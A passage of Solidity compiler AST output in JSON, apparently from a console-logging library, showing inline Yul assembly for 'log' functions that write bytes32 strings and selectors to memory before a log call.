"nativeSrc":"16203:28:22","nodeType":"YulBlock","src":"16203:28:22","statements":[{"nativeSrc":"16205:24:22","nodeType":"YulAssignment","src":"16205:24:22","value":{"arguments":[{"name":"length","nativeSrc":"16219:6:22","nodeType":"YulIdentifier","src":"16219:6:22"},{"kind":"number","nativeSrc":"16227:1:22","nodeType":"YulLiteral","src":"16227:1:22","type":"","value":"1"}],"functionName":{"name":"add","nativeSrc":"16215:3:22","nodeType":"YulIdentifier","src":"16215:3:22"},"nativeSrc":"16215:14:22","nodeType":"YulFunctionCall","src":"16215:14:22"},"variableNames":[{"name":"length","nativeSrc":"16205:6:22","nodeType":"YulIdentifier","src":"16205:6:22"}]}]},"pre":{"nativeSrc":"16183:2:22","nodeType":"YulBlock","src":"16183:2:22","statements":[]},"src":"16179:93:22"},{"expression":{"arguments":[{"name":"pos","nativeSrc":"16296:3:22","nodeType":"YulIdentifier","src":"16296:3:22"},{"name":"length","nativeSrc":"16301:6:22","nodeType":"YulIdentifier","src":"16301:6:22"}],"functionName":{"name":"mstore","nativeSrc":"16289:6:22","nodeType":"YulIdentifier","src":"16289:6:22"},"nativeSrc":"16289:19:22","nodeType":"YulFunctionCall","src":"16289:19:22"},"nativeSrc":"16289:19:22","nodeType":"YulExpressionStatement","src":"16289:19:22"},{"nativeSrc":"16325:37:22","nodeType":"YulVariableDeclaration","src":"16325:37:22","value":{"arguments":[{"kind":"number","nativeSrc":"16342:3:22","nodeType":"YulLiteral","src":"16342:3:22","type":"","value":"256"},{"arguments":[{"kind":"number","nativeSrc":"16351:1:22","nodeType":"YulLiteral","src":"16351:1:22","type":"","value":"3"},{"name":"length","nativeSrc":"16354:6:22","nodeType":"YulIdentifier","src":"16354:6:22"}],"functionName":{"name":"shl","nativeSrc":"16347:3:22","nodeType":"YulIdentifier","src":"16347:3:22"},"nativeSrc":"16347:14:22","nodeType":"YulFunctionCall","src":"16347:14:22"}],"functionName":{"name":"sub","nativeSrc":"16338:3:22","nodeType":"YulIdentifier","src":"16338:3:22"},"nativeSrc":"16338:24:22","nodeType":"YulFunctionCall","src":"16338:24:22"},"variables":[{"name":"shift","nativeSrc":"16329:5:22","nodeType":"YulTypedName","src":"16329:5:22","type":""}]},{"expression":{"arguments":[{"arguments":[{"name":"pos","nativeSrc":"16390:3:22","nodeType":"YulIdentifier","src":"16390:3:22"},{"kind":"number","nativeSrc":"16395:4:22","nodeType":"YulLiteral","src":"16395:4:22","type":"","value":"0x20"}],"functionName":{"name":"add","nativeSrc":"16386:3:22","nodeType":"YulIdentifier","src":"16386:3:22"},"nativeSrc":"16386:14:22","nodeType":"YulFunctionCall","src":"16386:14:22"},{"arguments":[{"name":"shift","nativeSrc":"16406:5:22","nodeType":"YulIdentifier","src":"16406:5:22"},{"arguments":[{"name":"shift","nativeSrc":"16417:5:22","nodeType":"YulIdentifier","src":"16417:5:22"},{"name":"w","nativeSrc":"16424:1:22","nodeType":"YulIdentifier","src":"16424:1:22"}],"functionName":{"name":"shr","nativeSrc":"16413:3:22","nodeType":"YulIdentifier","src":"16413:3:22"},"nativeSrc":"16413:13:22","nodeType":"YulFunctionCall","src":"16413:13:22"}],"functionName":{"name":"shl","nativeSrc":"16402:3:22","nodeType":"YulIdentifier","src":"16402:3:22"},"nativeSrc":"16402:25:22","nodeType":"YulFunctionCall","src":"16402:25:22"}],"functionName":{"name":"mstore","nativeSrc":"16379:6:22","nodeType":"YulIdentifier","src":"16379:6:22"},"nativeSrc":"16379:49:22","nodeType":"YulFunctionCall","src":"16379:49:22"},"nativeSrc":"16379:49:22","nodeType":"YulExpressionStatement","src":"16379:49:22"}]},"name":"writeString","nativeSrc":"16100:342:22","nodeType":"YulFunctionDefinition","parameters":[{"name":"pos","nativeSrc":"16121:3:22","nodeType":"YulTypedName","src":"16121:3:22","type":""},{"name":"w","nativeSrc":"16126:1:22","nodeType":"YulTypedName","src":"16126:1:22","type":""}],"src":"16100:342:22"},{"nativeSrc":"16455:17:22","nodeType":"YulAssignment","src":"16455:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"16467:4:22","nodeType":"YulLiteral","src":"16467:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"16461:5:22","nodeType":"YulIdentifier","src":"16461:5:22"},"nativeSrc":"16461:11:22","nodeType":"YulFunctionCall","src":"16461:11:22"},"variableNames":[{"name":"m0","nativeSrc":"16455:2:22","nodeType":"YulIdentifier","src":"16455:2:22"}]},{"nativeSrc":"16485:17:22","nodeType":"YulAssignment","src":"16485:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"16497:4:22","nodeType":"YulLiteral","src":"16497:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"16491:5:22","nodeType":"YulIdentifier","src":"16491:5:22"},"nativeSrc":"16491:11:22","nodeType":"YulFunctionCall","src":"16491:11:22"},"variableNames":[{"name":"m1","nativeSrc":"16485:2:22","nodeType":"YulIdentifier","src":"16485:2:22"}]},{"nativeSrc":"16515:17:22","nodeType":"YulAssignment","src":"16515:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"16527:4:22","nodeType":"YulLiteral","src":"16527:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"16521:5:22","nodeType":"YulIdentifier","src":"16521:5:22"},"nativeSrc":"16521:11:22","nodeType":"YulFunctionCall","src":"16521:11:22"},"variableNames":[{"name":"m2","nativeSrc":"16515:2:22","nodeType":"YulIdentifier","src":"16515:2:22"}]},{"nativeSrc":"16545:17:22","nodeType":"YulAssignment","src":"16545:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"16557:4:22","nodeType":"YulLiteral","src":"16557:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"16551:5:22","nodeType":"YulIdentifier","src":"16551:5:22"},"nativeSrc":"16551:11:22","nodeType":"YulFunctionCall","src":"16551:11:22"},"variableNames":[{"name":"m3","nativeSrc":"16545:2:22","nodeType":"YulIdentifier","src":"16545:2:22"}]},{"nativeSrc":"16575:17:22","nodeType":"YulAssignment","src":"16575:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"16587:4:22","nodeType":"YulLiteral","src":"16587:4:22","type":"","value":"0x80"}],"functionName":{"name":"mload","nativeSrc":"16581:5:22","nodeType":"YulIdentifier","src":"16581:5:22"},"nativeSrc":"16581:11:22","nodeType":"YulFunctionCall","src":"16581:11:22"},"variableNames":[{"name":"m4","nativeSrc":"16575:2:22","nodeType":"YulIdentifier","src":"16575:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"16662:4:22","nodeType":"YulLiteral","src":"16662:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"16668:10:22","nodeType":"YulLiteral","src":"16668:10:22","type":"","value":"0xb60e72cc"}],"functionName":{"name":"mstore","nativeSrc":"16655:6:22","nodeType":"YulIdentifier","src":"16655:6:22"},"nativeSrc":"16655:24:22","nodeType":"YulFunctionCall","src":"16655:24:22"},"nativeSrc":"16655:24:22","nodeType":"YulExpressionStatement","src":"16655:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"16699:4:22","nodeType":"YulLiteral","src":"16699:4:22","type":"","value":"0x20"},{"kind":"number","nativeSrc":"16705:4:22","nodeType":"YulLiteral","src":"16705:4:22","type":"","value":"0x40"}],"functionName":{"name":"mstore","nativeSrc":"16692:6:22","nodeType":"YulIdentifier","src":"16692:6:22"},"nativeSrc":"16692:18:22","nodeType":"YulFunctionCall","src":"16692:18:22"},"nativeSrc":"16692:18:22","nodeType":"YulExpressionStatement","src":"16692:18:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"16730:4:22","nodeType":"YulLiteral","src":"16730:4:22","type":"","value":"0x40"},{"name":"p1","nativeSrc":"16736:2:22","nodeType":"YulIdentifier","src":"16736:2:22"}],"functionName":{"name":"mstore","nativeSrc":"16723:6:22","nodeType":"YulIdentifier","src":"16723:6:22"},"nativeSrc":"16723:16:22","nodeType":"YulFunctionCall","src":"16723:16:22"},"nativeSrc":"16723:16:22","nodeType":"YulExpressionStatement","src":"16723:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"16764:4:22","nodeType":"YulLiteral","src":"16764:4:22","type":"","value":"0x60"},{"name":"p0","nativeSrc":"16770:2:22","nodeType":"YulIdentifier","src":"16770:2:22"}],"functionName":{"name":"writeString","nativeSrc":"16752:11:22","nodeType":"YulIdentifier","src":"16752:11:22"},"nativeSrc":"16752:21:22","nodeType":"YulFunctionCall","src":"16752:21:22"},"nativeSrc":"16752:21:22","nodeType":"YulExpressionStatement","src":"16752:21:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":34144,"isOffset":false,"isSlot":false,"src":"16455:2:22","valueSize":1},{"declaration":34147,"isOffset":false,"isSlot":false,"src":"16485:2:22","valueSize":1},{"declaration":34150,"isOffset":false,"isSlot":false,"src":"16515:2:22","valueSize":1},{"declaration":34153,"isOffset":false,"isSlot":false,"src":"16545:2:22","valueSize":1},{"declaration":34156,"isOffset":false,"isSlot":false,"src":"16575:2:22","valueSize":1},{"declaration":34138,"isOffset":false,"isSlot":false,"src":"16770:2:22","valueSize":1},{"declaration":34140,"isOffset":false,"isSlot":false,"src":"16736:2:22","valueSize":1}],"id":34158,"nodeType":"InlineAssembly","src":"16077:706:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":34160,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"16808:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"30783834","id":34161,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"16814:4:22","typeDescriptions":{"typeIdentifier":"t_rational_132_by_1","typeString":"int_const 132"},"value":"0x84"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_132_by_1","typeString":"int_const 132"}],"id":34159,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"16792:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":34162,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"16792:27:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":34163,"nodeType":"ExpressionStatement","src":"16792:27:22"},{"AST":{"nativeSrc":"16838:156:22","nodeType":"YulBlock","src":"16838:156:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"16859:4:22","nodeType":"YulLiteral","src":"16859:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"16865:2:22","nodeType":"YulIdentifier","src":"16865:2:22"}],"functionName":{"name":"mstore","nativeSrc":"16852:6:22","nodeType":"YulIdentifier","src":"16852:6:22"},"nativeSrc":"16852:16:22","nodeType":"YulFunctionCall","src":"16852:16:22"},"nativeSrc":"16852:16:22","nodeType":"YulExpressionStatement","src":"16852:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"16888:4:22","nodeType":"YulLiteral","src":"16888:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"16894:2:22","nodeType":"YulIdentifier","src":"16894:2:22"}],"functionName":{"name":"mstore","nativeSrc":"16881:6:22","nodeType":"YulIdentifier","src":"16881:6:22"},"nativeSrc":"16881:16:22","nodeType":"YulFunctionCall","src":"16881:16:22"},"nativeSrc":"16881:16:22","nodeType":"YulExpressionStatement","src":"16881:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"16917:4:22","nodeType":"YulLiteral","src":"16917:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"16923:2:22","nodeType":"YulIdentifier","src":"16923:2:22"}],"functionName":{"name":"mstore","nativeSrc":"16910:6:22","nodeType":"YulIdentifier","src":"16910:6:22"},"nativeSrc":"16910:16:22","nodeType":"YulFunctionCall","src":"16910:16:22"},"nativeSrc":"16910:16:22","nodeType":"YulExpressionStatement","src":"16910:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"16946:4:22","nodeType":"YulLiteral","src":"16946:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"16952:2:22","nodeType":"YulIdentifier","src":"16952:2:22"}],"functionName":{"name":"mstore","nativeSrc":"16939:6:22","nodeType":"YulIdentifier","src":"16939:6:22"},"nativeSrc":"16939:16:22","nodeType":"YulFunctionCall","src":"16939:16:22"},"nativeSrc":"16939:16:22","nodeType":"YulExpressionStatement","src":"16939:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"16975:4:22","nodeType":"YulLiteral","src":"16975:4:22","type":"","value":"0x80"},{"name":"m4","nativeSrc":"16981:2:22","nodeType":"YulIdentifier","src":"16981:2:22"}],"functionName":{"name":"mstore","nativeSrc":"16968:6:22","nodeType":"YulIdentifier","src":"16968:6:22"},"nativeSrc":"16968:16:22","nodeType":"YulFunctionCall","src":"16968:16:22"},"nativeSrc":"16968:16:22","nodeType":"YulExpressionStatement","src":"16968:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":34144,"isOffset":false,"isSlot":false,"src":"16865:2:22","valueSize":1},{"declaration":34147,"isOffset":false,"isSlot":false,"src":"16894:2:22","valueSize":1},{"declaration":34150,"isOffset":false,"isSlot":false,"src":"16923:2:22","valueSize":1},{"declaration":34153,"isOffset":false,"isSlot":false,"src":"16952:2:22","valueSize":1},{"declaration":34156,"isOffset":false,"isSlot":false,"src":"16981:2:22","valueSize":1}],"id":34164,"nodeType":"InlineAssembly","src":"16829:165:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"15925:3:22","parameters":{"id":34141,"nodeType":"ParameterList","parameters":[{"constant":false,"id":34138,"mutability":"mutable","name":"p0","nameLocation":"15937:2:22","nodeType":"VariableDeclaration","scope":34166,"src":"15929:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":34137,"name":"bytes32","nodeType":"ElementaryTypeName","src":"15929:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":34140,"mutability":"mutable","name":"p1","nameLocation":"15949:2:22","nodeType":"VariableDeclaration","scope":34166,"src":"15941:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":34139,"name":"uint256","nodeType":"ElementaryTypeName","src":"15941:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"15928:24:22"},"returnParameters":{"id":34142,"nodeType":"ParameterList","parameters":[],"src":"15967:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":34202,"nodeType":"FunctionDefinition","src":"17006:1277:22","nodes":[],"body":{"id":34201,"nodeType":"Block","src":"17057:1226:22","nodes":[],"statements":[{"assignments":[34174],"declarations":[{"constant":false,"id":34174,"mutability":"mutable","name":"m0","nameLocation":"17075:2:22","nodeType":"VariableDeclaration","scope":34201,"src":"17067:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":34173,"name":"bytes32","nodeType":"ElementaryTypeName","src":"17067:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":34175,"nodeType":"VariableDeclarationStatement","src":"17067:10:22"},{"assignments":[34177],"declarations":[{"constant":false,"id":34177,"mutability":"mutable","name":"m1","nameLocation":"17095:2:22","nodeType":"VariableDeclaration","scope":34201,"src":"17087:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":34176,"name":"bytes32","nodeType":"ElementaryTypeName","src":"17087:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":34178,"nodeType":"VariableDeclarationStatement","src":"17087:10:22"},{"assignments":[34180],"declarations":[{"constant":false,"id":34180,"mutability":"mutable","name":"m2","nameLocation":"17115:2:22","nodeType":"VariableDeclaration","scope":34201,"src":"17107:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":34179,"name":"bytes32","nodeType":"ElementaryTypeName","src":"17107:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":34181,"nodeType":"VariableDeclarationStatement","src":"17107:10:22"},{"assignments":[34183],"declarations":[{"constant":false,"id":34183,"mutability":"mutable","name":"m3","nameLocation":"17135:2:22","nodeType":"VariableDeclaration","scope":34201,"src":"17127:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":34182,"name":"bytes32","nodeType":"ElementaryTypeName","src":"17127:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":34184,"nodeType":"VariableDeclarationStatement","src":"17127:10:22"},{"assignments":[34186],"declarations":[{"constant":false,"id":34186,"mutability":"mutable","name":"m4","nameLocation":"17155:2:22","nodeType":"VariableDeclaration","scope":34201,"src":"17147:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":34185,"name":"bytes32","nodeType":"ElementaryTypeName","src":"17147:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":34187,"nodeType":"VariableDeclarationStatement","src":"17147:10:22"},{"assignments":[34189],"declarations":[{"constant":false,"id":34189,"mutability":"mutable","name":"m5","nameLocation":"17175:2:22","nodeType":"VariableDeclaration","scope":34201,"src":"17167:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":34188,"name":"bytes32","nodeType":"ElementaryTypeName","src":"17167:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":34190,"nodeType":"VariableDeclarationStatement","src":"17167:10:22"},{"assignments":[34192],"declarations":[{"constant":false,"id":34192,"mutability":"mutable","name":"m6","nameLocation":"17195:2:22","nodeType":"VariableDeclaration","scope":34201,"src":"17187:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":34191,"name":"bytes32","nodeType":"ElementaryTypeName","src":"17187:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":34193,"nodeType":"VariableDeclarationStatement","src":"17187:10:22"},{"AST":{"nativeSrc":"17216:792:22","nodeType":"YulBlock","src":"17216:792:22","statements":[{"body":{"nativeSrc":"17259:313:22","nodeType":"YulBlock","src":"17259:313:22","statements":[{"nativeSrc":"17277:15:22","nodeType":"YulVariableDeclaration","src":"17277:15:22","value":{"kind":"number","nativeSrc":"17291:1:22","nodeType":"YulLiteral","src":"17291:1:22","type":"","value":"0"},"variables":[{"name":"length","nativeSrc":"17281:6:22","nodeType":"YulTypedName","src":"17281:6:22","type":""}]},{"body":{"nativeSrc":"17362:40:22","nodeType":"YulBlock","src":"17362:40:22","statements":[{"body":{"nativeSrc":"17391:9:22","nodeType":"YulBlock","src":"17391:9:22","statements":[{"nativeSrc":"17393:5:22","nodeType":"YulBreak","src":"17393:5:22"}]},"condition":{"arguments":[{"arguments":[{"name":"length","nativeSrc":"17379:6:22","nodeType":"YulIdentifier","src":"17379:6:22"},{"name":"w","nativeSrc":"17387:1:22","nodeType":"YulIdentifier","src":"17387:1:22"}],"functionName":{"name":"byte","nativeSrc":"17374:4:22","nodeType":"YulIdentifier","src":"17374:4:22"},"nativeSrc":"17374:15:22","nodeType":"YulFunctionCall","src":"17374:15:22"}],"functionName":{"name":"iszero","nativeSrc":"17367:6:22","nodeType":"YulIdentifier","src":"17367:6:22"},"nativeSrc":"17367:23:22","nodeType":"YulFunctionCall","src":"17367:23:22"},"nativeSrc":"17364:36:22","nodeType":"YulIf","src":"17364:36:22"}]},"condition":{"arguments":[{"name":"length","nativeSrc":"17319:6:22","nodeType":"YulIdentifier","src":"17319:6:22"},{"kind":"number","nativeSrc":"17327:4:22","nodeType":"YulLiteral","src":"17327:4:22","type":"","value":"0x20"}],"functionName":{"name":"lt","nativeSrc":"17316:2:22","nodeType":"YulIdentifier","src":"17316:2:22"},"nativeSrc":"17316:16:22","nodeType":"YulFunctionCall","src":"17316:16:22"},"nativeSrc":"17309:93:22","nodeType":"YulForLoop","post":{"nativeSrc":"17333:28:22","nodeType":"YulBlock","src":"17333:28:22","statements":[{"nativeSrc":"17335:24:22","nodeType":"YulAssignment","src":"17335:24:22","value":{"arguments":[{"name":"length","nativeSrc":"17349:6:22","nodeType":"YulIdentifier","src":"17349:6:22"},{"kind":"number","nativeSrc":"17357:1:22","nodeType":"YulLiteral","src":"17357:1:22","type":"","value":"1"}],"functionName":{"name":"add","nativeSrc":"17345:3:22","nodeType":"YulIdentifier","src":"17345:3:22"},"nativeSrc":"17345:14:22","nodeType":"YulFunctionCall","src":"17345:14:22"},"variableNames":[{"name":"length","nativeSrc":"17335:6:22","nodeType":"YulIdentifier","src":"17335:6:22"}]}]},"pre":{"nativeSrc":"17313:2:22","nodeType":"YulBlock","src":"17313:2:22","statements":[]},"src":"17309:93:22"},{"expression":{"arguments":[{"name":"pos","nativeSrc":"17426:3:22","nodeType":"YulIdentifier","src":"17426:3:22"},{"name":"length","nativeSrc":"17431:6:22","nodeType":"YulIdentifier","src":"17431:6:22"}],"functionName":{"name":"mstore","nativeSrc":"17419:6:22","nodeType":"YulIdentifier","src":"17419:6:22"},"nativeSrc":"17419:19:22","nodeType":"YulFunctionCall","src":"17419:19:22"},"nativeSrc":"17419:19:22","nodeType":"YulExpressionStatement","src":"17419:19:22"},{"nativeSrc":"17455:37:22","nodeType":"YulVariableDeclaration","src":"17455:37:22","value":{"arguments":[{"kind":"number","nativeSrc":"17472:3:22","nodeType":"YulLiteral","src":"17472:3:22","type":"","value":"256"},{"arguments":[{"kind":"number","nativeSrc":"17481:1:22","nodeType":"YulLiteral","src":"17481:1:22","type":"","value":"3"},{"name":"length","nativeSrc":"17484:6:22","nodeType":"YulIdentifier","src":"17484:6:22"}],"functionName":{"name":"shl","nativeSrc":"17477:3:22","nodeType":"YulIdentifier","src":"17477:3:22"},"nativeSrc":"17477:14:22","nodeType":"YulFunctionCall","src":"17477:14:22"}],"functionName":{"name":"sub","nativeSrc":"17468:3:22","nodeType":"YulIdentifier","src":"17468:3:22"},"nativeSrc":"17468:24:22","nodeType":"YulFunctionCall","src":"17468:24:22"},"variables":[{"name":"shift","nativeSrc":"17459:5:22","nodeType":"YulTypedName","src":"17459:5:22","type":""}]},{"expression":{"arguments":[{"arguments":[{"name":"pos","nativeSrc":"17520:3:22","nodeType":"YulIdentifier","src":"17520:3:22"},{"kind":"number","nativeSrc":"17525:4:22","nodeType":"YulLiteral","src":"17525:4:22","type":"","value":"0x20"}],"functionName":{"name":"add","nativeSrc":"17516:3:22","nodeType":"YulIdentifier","src":"17516:3:22"},"nativeSrc":"17516:14:22","nodeType":"YulFunctionCall","src":"17516:14:22"},{"arguments":[{"name":"shift","nativeSrc":"17536:5:22","nodeType":"YulIdentifier","src":"17536:5:22"},{"arguments":[{"name":"shift","nativeSrc":"17547:5:22","nodeType":"YulIdentifier","src":"17547:5:22"},{"name":"w","nativeSrc":"17554:1:22","nodeType":"YulIdentifier","src":"17554:1:22"}],"functionName":{"name":"shr","nativeSrc":"17543:3:22","nodeType":"YulIdentifier","src":"17543:3:22"},"nativeSrc":"17543:13:22","nodeType":"YulFunctionCall","src":"17543:13:22"}],"functionName":{"name":"shl","nativeSrc":"17532:3:22","nodeType":"YulIdentifier","src":"17532:3:22"},"nativeSrc":"17532:25:22","nodeType":"YulFunctionCall","src":"17532:25:22"}],"functionName":{"name":"mstore","nativeSrc":"17509:6:22","nodeType":"YulIdentifier","src":"17509:6:22"},"nativeSrc":"17509:49:22","nodeType":"YulFunctionCall","src":"17509:49:22"},"nativeSrc":"17509:49:22","nodeType":"YulExpressionStatement","src":"17509:49:22"}]},"name":"writeString","nativeSrc":"17230:342:22","nodeType":"YulFunctionDefinition","parameters":[{"name":"pos","nativeSrc":"17251:3:22","nodeType":"YulTypedName","src":"17251:3:22","type":""},{"name":"w","nativeSrc":"17256:1:22","nodeType":"YulTypedName","src":"17256:1:22","type":""}],"src":"17230:342:22"},{"nativeSrc":"17585:17:22","nodeType":"YulAssignment","src":"17585:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"17597:4:22","nodeType":"YulLiteral","src":"17597:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"17591:5:22","nodeType":"YulIdentifier","src":"17591:5:22"},"nativeSrc":"17591:11:22","nodeType":"YulFunctionCall","src":"17591:11:22"},"variableNames":[{"name":"m0","nativeSrc":"17585:2:22","nodeType":"YulIdentifier","src":"17585:2:22"}]},{"nativeSrc":"17615:17:22","nodeType":"YulAssignment","src":"17615:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"17627:4:22","nodeType":"YulLiteral","src":"17627:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"17621:5:22","nodeType":"YulIdentifier","src":"17621:5:22"},"nativeSrc":"17621:11:22","nodeType":"YulFunctionCall","src":"17621:11:22"},"variableNames":[{"name":"m1","nativeSrc":"17615:2:22","nodeType":"YulIdentifier","src":"17615:2:22"}]},{"nativeSrc":"17645:17:22","nodeType":"YulAssignment","src":"17645:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"17657:4:22","nodeType":"YulLiteral","src":"17657:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"17651:5:22","nodeType":"YulIdentifier","src":"17651:5:22"},"nativeSrc":"17651:11:22","nodeType":"YulFunctionCall","src":"17651:11:22"},"variableNames":[{"name":"m2","nativeSrc":"17645:2:22","nodeType":"YulIdentifier","src":"17645:2:22"}]},{"nativeSrc":"17675:17:22","nodeType":"YulAssignment","src":"17675:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"17687:4:22","nodeType":"YulLiteral","src":"17687:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"17681:5:22","nodeType":"YulIdentifier","src":"17681:5:22"},"nativeSrc":"17681:11:22","nodeType":"YulFunctionCall","src":"17681:11:22"},"variableNames":[{"name":"m3","nativeSrc":"17675:2:22","nodeType":"YulIdentifier","src":"17675:2:22"}]},{"nativeSrc":"17705:17:22","nodeType":"YulAssignment","src":"17705:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"17717:4:22","nodeType":"YulLiteral","src":"17717:4:22","type":"","value":"0x80"}],"functionName":{"name":"mload","nativeSrc":"17711:5:22","nodeType":"YulIdentifier","src":"17711:5:22"},"nativeSrc":"17711:11:22","nodeType":"YulFunctionCall","src":"17711:11:22"},"variableNames":[{"name":"m4","nativeSrc":"17705:2:22","nodeType":"YulIdentifier","src":"17705:2:22"}]},{"nativeSrc":"17735:17:22","nodeType":"YulAssignment","src":"17735:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"17747:4:22","nodeType":"YulLiteral","src":"17747:4:22","type":"","value":"0xa0"}],"functionName":{"name":"mload","nativeSrc":"17741:5:22","nodeType":"YulIdentifier","src":"17741:5:22"},"nativeSrc":"17741:11:22","nodeType":"YulFunctionCall","src":"17741:11:22"},"variableNames":[{"name":"m5","nativeSrc":"17735:2:22","nodeType":"YulIdentifier","src":"17735:2:22"}]},{"nativeSrc":"17765:17:22","nodeType":"YulAssignment","src":"17765:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"17777:4:22","nodeType":"YulLiteral","src":"17777:4:22","type":"","value":"0xc0"}],"functionName":{"name":"mload","nativeSrc":"17771:5:22","nodeType":"YulIdentifier","src":"17771:5:22"},"nativeSrc":"17771:11:22","nodeType":"YulFunctionCall","src":"17771:11:22"},"variableNames":[{"name":"m6","nativeSrc":"17765:2:22","nodeType":"YulIdentifier","src":"17765:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"17851:4:22","nodeType":"YulLiteral","src":"17851:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"17857:10:22","nodeType":"YulLiteral","src":"17857:10:22","type":"","value":"0x4b5c4277"}],"functionName":{"name":"mstore","nativeSrc":"17844:6:22","nodeType":"YulIdentifier","src":"17844:6:22"},"nativeSrc":"17844:24:22","nodeType":"YulFunctionCall","src":"17844:24:22"},"nativeSrc":"17844:24:22","nodeType":"YulExpressionStatement","src":"17844:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"17888:4:22","nodeType":"YulLiteral","src":"17888:4:22","type":"","value":"0x20"},{"kind":"number","nativeSrc":"17894:4:22","nodeType":"YulLiteral","src":"17894:4:22","type":"","value":"0x40"}],"functionName":{"name":"mstore","nativeSrc":"17881:6:22","nodeType":"YulIdentifier","src":"17881:6:22"},"nativeSrc":"17881:18:22","nodeType":"YulFunctionCall","src":"17881:18:22"},"nativeSrc":"17881:18:22","nodeType":"YulExpressionStatement","src":"17881:18:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"17919:4:22","nodeType":"YulLiteral","src":"17919:4:22","type":"","